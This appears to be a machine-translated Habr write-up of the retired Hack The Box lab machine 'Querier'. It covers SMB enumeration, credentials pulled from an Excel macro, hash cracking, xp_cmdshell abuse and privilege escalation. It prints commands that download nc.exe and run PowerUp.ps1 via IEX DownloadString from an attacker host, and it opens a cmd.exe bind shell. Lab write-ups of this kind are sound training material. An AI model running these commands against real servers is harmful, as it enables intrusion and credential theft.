Hallo Habr! In diesem Artikel erfahren Sie, wie Sie einen Remoteserver mithilfe der Funktionen von MsSQL angreifen, eine Reverse Shell zum Beheben im System erstellen und ein Beispiel für die Ausführung einer schlecht konfigurierten Gruppenrichtlinie in Windows geben.
Im Rahmen des Schnitts werden wir über unsere Erfahrungen mit der Übergabe der
Querier-Labormaschine auf dem
Hackthebox- Portal
sprechen .
Für diejenigen, die nicht wissen, was Hackthebox ist, ist dies ein Portal, auf dem Sie Ihre Pentest-Fähigkeiten in der Praxis testen können. Es gibt CTF-Aufgaben und Labormaschinen selbst.
HaftungsausschlussDie Regeln des Dienstes lauten: " Teilen Sie nicht mit anderen Mitgliedern, wie Sie jeden Computer gehackt haben. Dies beinhaltet die Generierung des Einladungscodes und alle Herausforderungen . " Da diese Maschine jedoch nicht mehr aktiv ist und im Bereich Maschinen im Ruhestand gespeichert ist, können nur VIP-Mitglieder darauf zugreifen.

Informationsbeschaffung
Beginnen wir unsere Erkundung, indem wir das Port-Scannen mit nmap starten.
nmap –sC –Pn –A 10.10.10.125

Wir listen die gefundenen Ports auf.
Zählen Sie 139/445 / tcp (smb) auf
Wir werden das Dienstprogramm smbclient verwenden, um auf SMB-Serverressourcen zuzugreifen.
smbclient –L //10.10.10.125
Nachdem wir alle Ressourcen durchgesehen haben, finden wir im Verzeichnis "Berichte" die Datei "Currency Volume Report.xlsm".

Wenn Sie diese Datei mit Standard-Microsoft Excel öffnen,
erscheint sie auf den ersten Blick völlig leer.
Wir analysieren die Datei mit dem Dienstprogramm
binwalk , mit dem Sie die eingebetteten Dateien des xlsm-Dokuments anzeigen können.

Aus der Ausgabe von binwalk haben wir einige interessante Dateien in xlsm gefunden.
Packen Sie es mit dem Flag –e aus.
binwalk –e Currency\ Volume\ Report.xlsm

Jetzt verwenden wir das
Zeichenfolgen- Dienstprogramm, um gedruckte Zeichen auszugeben. Beim Durchgehen der Dateien finden wir interessante Daten in vbaProject.bin. Es sieht so aus, als hätten wir die Anmeldeinformationen für den MSSQL-Server gefunden.

Um die aktuell erhaltenen Informationen zusammenzufassen:
- Wir wissen, dass sich der mssql-Server auf dem Port 10.10.10.125:1433 dreht.
- Wir haben Anmeldeinformationen vom Benutzer mssql Server.
Versuchen wir also, mithilfe des Skripts aus dem
Impacket- Modul eine Verbindung zum Server
herzustellen .
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Erhalten Sie Zugriff auf MsSQL.

Zählen Sie MsSQL auf
Wir listen die Informationen auf, die für uns nützlich sind, indem wir die Befehle aus dem
Artikel verwenden .
Nach der Ausführung von SQLi erhalten wir einen Hash aus dem Passwort des Benutzers mssql-svc.

Um das Passwort explizit zu erhalten, müssen Sie es mit einem für Sie geeigneten Tool entfernen.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
Wir bekommen das Passwort von mssql-svc .
Herstellen einer Verbindung zu SQL mit neuen
Krediten .
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Die Rechte dieses Benutzers ermöglichen es uns,
xp_cmdshell auszuführen
Über xp_cmdshellMsSQL wird mit einer großen Anzahl erweiterter gespeicherter Prozeduren geliefert. Das interessanteste davon ist xp_cmdshell. Es bietet Zugriff auf die Befehlszeile des Betriebssystems.
Holen Sie sich die umgekehrte Shell
Wir versuchen, die Shell über Netcat zu bekommen. Dazu müssen wir sie auf den angegriffenen Server hochladen.
Wir gehen in das Verzeichnis auf unserem Computer, in dem sich netcat befindet, und führen Folgendes aus:
python –m SimpleHTTPServer
Führen Sie in der mssql-Shell zum Herunterladen von netcat (nc.exe) auf den Remote-Server den Befehl Powershell aus und geben Sie den Speicherpfad an.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
Wir starten netcat, um Port 4444 abzuhören.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Wir starten netcat auf unserer Seite, geben die IP und den Port des angegriffenen Servers an und erhalten die Shell.
nc 10.10.10.125 4444
Führen Sie ein
Skript in PowerShellMafia aus , um die Berechtigungen zu erhöhen.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

Als Ergebnis des Skripts haben wir die Administratoranmeldeinformationen erhalten.
Wir gehen zu jd-Ressourcen mit neuen Anmeldeinformationen und Berechtigungen.


Nehmen Sie das Flag root.txt. Sieg!